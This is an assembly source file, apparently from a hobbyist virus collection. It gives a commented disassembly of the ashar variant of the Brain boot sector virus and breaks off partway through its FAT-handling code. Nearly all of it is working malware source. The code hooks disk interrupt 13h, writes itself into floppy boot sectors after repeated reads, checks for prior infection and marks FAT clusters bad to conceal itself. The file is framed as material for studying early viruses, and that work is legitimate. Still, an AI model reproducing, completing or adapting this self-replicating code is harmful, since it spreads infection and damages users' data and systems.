pakki.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

; This is the ashar variant of the classic Pakistani Brain virus. It is large
; by today's standards, although it was one of the first.  It is a floppy only
; boot sector infector.

brain           segment byte public
		assume  cs:brain, ds:brain
; Disassembly done by Dark Angel of PHALCON/SKISM
		org     0

		cli
		jmp     entervirus
idbytes         db       34h, 12h
firsthead       db      0
firstsector     dw      2707h
curhead         db      0
cursector       dw      1
		db      0, 0, 0, 0
		db      'Welcome to the  Dungeon         '
copyright       db      '(c) 1986 Brain'
		db      17h
		db      '& Amjads (pvt) Ltd   VIRUS_SHOE '
		db      ' RECORD   v9.0   Dedicated to th'
		db      'e dynamic memories of millions o'
		db      'f virus who are no longer with u'
		db      's today - Thanks GOODNESS!!     '
		db      '  BEWARE OF THE er..VIRUS  : \th'
		db      'is program is catching      prog'
		db      'ram follows after these messeges'
		db      '..... $'
		db      '#@%$'
		db      '@!! '
entervirus:
		mov     ax,cs
		mov     ds,ax                   ; ds = 0
		mov     ss,ax                   ; set stack to after
		mov     sp,0F000h               ; virus
		sti
		mov     al,ds:[7C00h+offset firsthead]
		mov     ds:[7C00h+offset curhead],al
		mov     cx,ds:[7C00h+offset firstsector]
		mov     ds:[7C00h+offset cursector],cx
		call    calcnext
		mov     cx,5                    ; read five sectors
		mov     bx,7C00h+200h           ; after end of virus

loadnext:
		call    readdisk
		call    calcnext
		add     bx,200h
		loop    loadnext

		mov     ax,word ptr ds:[413h]   ; Base memory size in Kb
		sub     ax,7                    ; - 7 Kb
		mov     word ptr ds:[413h],ax   ; Insert as new value
		mov     cl,6
		shl     ax,cl                   ; Convert to paragraphs
		mov     es,ax
		mov     si,7C00h                ; Copy from virus start
		mov     di,0                    ; to start of memory
		mov     cx,1004h                ; Copy 1004h bytes
		cld
		rep     movsb
		push    es
		mov     ax,200h
		push    ax
		retf                            ; return to old boot sector

readdisk:
		push    cx
		push    bx
		mov     cx,4                    ; Try 4 times

tryread:
		push    cx
		mov     dh,ds:[7C00h+offset curhead]
		mov     dl,0                    ; Read sector from default
		mov     cx,ds:[7C00h+offset cursector]
		mov     ax,201h                 ; Disk to memory at es:bx
		int     13h
		jnc     readOK
		mov     ah,0                    ; Reset disk
		int     13h                     ; (force read track 0)
		pop     cx
		loop    tryread

		int     18h                     ; ROM basic on failure
readOK:
		pop     cx
		pop     bx
		pop     cx
		retn

calcnext:
		mov     al,byte ptr ds:[7C00h+offset cursector]
		inc     al
		mov     byte ptr ds:[7C00h+offset cursector],al
		cmp     al,0Ah
		jne     donecalc
		mov     byte ptr ds:[7C00h+offset cursector],1
		mov     al,ds:[7C00h+offset curhead]
		inc     al
		mov     ds:[7C00h+offset curhead],al
		cmp     al,2
		jne     donecalc
		mov     byte ptr ds:[7C00h+offset curhead],0
		inc     byte ptr ds:[7C00h+offset cursector+1]
donecalc:
		retn

; the following is a collection of garbage bytes
		db       00h, 00h, 00h, 00h, 32h,0E3h
		db       23h, 4Dh, 59h,0F4h,0A1h, 82h
		db      0BCh,0C3h, 12h, 00h, 7Eh, 12h
		db      0CDh, 21h,0A2h, 3Ch, 5Fh
a_data          dw      050Ch
; Second part of the virus begins here
		jmp     short entersecondpart
		db      '(c) 1986 Brain & Amjads (pvt) Ltd ',0
readcounter     db      4                       ; keep track of # reads
curdrive        db      0
int13flag       db      0

entersecondpart:
		mov     cs:readcounter,1Fh
		xor     ax,ax
		mov     ds,ax                   ; ds -> interrupt table
		mov     ax,ds:[13h*4]
		mov     ds:[6Dh*4],ax
		mov     ax,ds:[13h*4+2]
		mov     ds:[6Dh*4+2],ax
		mov     ax,offset int13         ; 276h
		mov     ds:[13h*4],ax
		mov     ax,cs
		mov     ds:[13h*4+2],ax
		mov     cx,4                    ; 4 tries
		xor     ax,ax
		mov     es,ax                   ; es -> interrupt table

tryreadbootsector:
		push    cx
		mov     dh,cs:firsthead
		mov     dl,0
		mov     cx,cs:firstsector
		mov     ax,201h                 ; read from default disk
		mov     bx,7C00h
		int     6Dh                     ; int 13h
		jnc     readbootOK
		mov     ah,0
		int     6Dh                     ; int 13h
		pop     cx
		loop    tryreadbootsector

		int     18h                     ; ROM basic on failure
readbootOK:                                     ; return control to
						; original boot sector
;*              jmp     far ptr 0000:7C00h
		db      0EAh, 00h, 7Ch, 00h, 00h
		nop                             ; MASM NOP!!!
int13:
		sti
		cmp     ah,2                    ; if not read request,
		jne     doint13                 ; do not go further
		cmp     dl,2                    ; if after second floppy,
		ja      doint13                 ; do not go further
		cmp     ch,0                    ; if not reading boot sector,
		jne     regularread             ; go handle as usual
		cmp     dh,0                    ; if boot sector,
		je      readboot                ; do I<-/>/\|> stuff
regularread:
		dec     cs:readcounter          ; Infect after 4 reads
		jnz     doint13                 ; If counter still OK, don't
						; do anything else
		jmp     short readboot          ; Otherwise, try to infect
doint13:
		jmp     exitint13h
readboot:
; FINISH THIS!
		mov     cs:int13flag,0          ; clear flag
		mov     cs:readcounter,4        ; reset counter
		push    ax
		push    bx
		push    cx
		push    dx
		mov     cs:curdrive,dl
		mov     cx,4

tryreadbootblock:
		push    cx
		mov     ah,0                    ; Reset disk
		int     6Dh
		jc      errorreadingbootblock   ; Try again
		mov     dh,0
		mov     cx,1
		mov     bx,offset readbuffer    ; buffer @ 6BEh
		push    es
		mov     ax,cs
		mov     es,ax
		mov     ax,201h
		int     6Dh                     ; Read boot sector
		pop     es
		jnc     continuestuff           ; continue if no error
errorreadingbootblock:
		pop     cx
		loop    tryreadbootblock

		jmp     short resetdisk         ; too many failures
		nop
continuestuff:
		pop     cx                      ; get system id in boot block
		mov     ax,word ptr cs:[offset readbuffer+4]
		cmp     ax,1234h                ; already infected?
		jne     dodisk                  ; if not, infect it
		mov     cs:int13flag,1          ; flag prev. infection
		jmp     short noreset
dodisk:
		push    ds
		push    es
		mov     ax,cs
		mov     ds,ax
		mov     es,ax
		push    si
		call    writevirus              ; infect the disk
		jc      failme                  ; exit on failure
		mov     cs:int13flag,2          ; flag success
		call    changeroot              ; manipulate volume label
failme:
		pop     si
		pop     es
		pop     ds
		jnc     noreset                 ; don't reset on success
resetdisk:
		mov     ah,0                    ; reset disk
		int     6Dh                     ; int 13h
noreset:
		pop     dx
		pop     cx
		pop     bx
		pop     ax
		cmp     cx,1
		jne     exitint13h
		cmp     dh,0
		jne     exitint13h
		cmp     cs:int13flag,1          ; already infected?
		jne     wasntinfected           ; if wasn't, go elsewhere
		mov     cx,word ptr cs:[offset readbuffer+7]
		mov     dx,word ptr cs:[offset readbuffer+5]
		mov     dl,cs:curdrive          ; otherwise, read real
		jmp     short exitint13h        ; boot sector
wasntinfected:
		cmp     cs:int13flag,2          ; successful infection?
		jne     exitint13h              ; if not, just do call
		mov     cx,cs:firstsector
		mov     dh,cs:firsthead
exitint13h:
		int     6Dh                     ; int 13h
		retf    2
		db      15 dup (0)

FATManip:                                       ; returns al as error code
		jmp     short delvedeeper
		nop
FATManipreadcounter dw      3
		db      ' (c) 1986 Brain & Amjads (pvt) Ltd'
delvedeeper:
		call    readFAT                 ; Get FAT ID byte
		mov     ax,word ptr ds:[offset readbuffer]
		cmp     ax,0FFFDh               ; is it 360K disk?
		je      is360Kdisk              ; continue if so
		mov     al,3                    ; al=3 == not good disk
		stc                             ; flag error
		retn                            ; and exit
is360Kdisk:
		mov     cx,37h
		mov     FATManipreadcounter,0   ; none found yet
checknextsector:
		call    FATentry12bit           ; get entry in FAT
		cmp     ax,0                    ; unused?
		jne     notunused
		inc     FATManipreadcounter     ; one more found unused
		cmp     FATManipreadcounter,3   ; If need more,
		jne     tryanother              ;  go there
		jmp     short markembad         ; found 3 consecutive
		nop                             ; empty sectors
notunused:
		mov     FATManipreadcounter,0   ; must start over
tryanother:
		inc     cx                      ; try next sector
		cmp     cx,163h                 ; end of disk?
		jne     checknextsector         ; if not, continue
		mov     al,1                    ; al=1 == none empty
		stc                             ; Indicate error
		retn
markembad:
		mov     dl,3                    ; 3 times
markanotherbad:
		call    markbad12bit
		dec     cx
		dec     dl
		jnz     markanotherbad
		inc     cx
		call    calc1sttrack
		call    writeFAT                ; update FAT
		mov     al,0                    ; al=0 == ok
		clc                             ; indicate success
		retn

markbad12bit:
		push    cx
		push    dx
		mov     si,offset readbuffer    ; si -> buffer
		mov     al,cl
		shr     al,1
		jc      low_12                  ; low bits
		call    clus2offset12bit
		mov     ax,[bx+si]              ; get FAT entry
		and     ax,0F000h               ; mark it bad
		or      ax,0FF7h
		jmp     short putitback         ; and put it back
		nop
low_12:
		call    clus2offset12bit
		mov     ax,[bx+si]              ; get FAT entry
		and     ax,0Fh                  ; mark it bad
		or      ax,0FF70h
putitback:
		mov     [bx+si],ax              ; replace FAT entry
		mov     word ptr ds:[400h][bx+si],ax ; in two places
		pop     dx
		pop     cx
		retn

FATentry12bit:
		push    cx
		mov     si,offset readbuffer    ; si->buffer
		mov     al,cl
		shr     al,1
; Part 3 of the virus starts here
		jc      want_high_12
		call    clus2offset12bit
		mov     ax,[bx+si]
		and     ax,0FFFh
		jmp     short exitFATentry12bit
		nop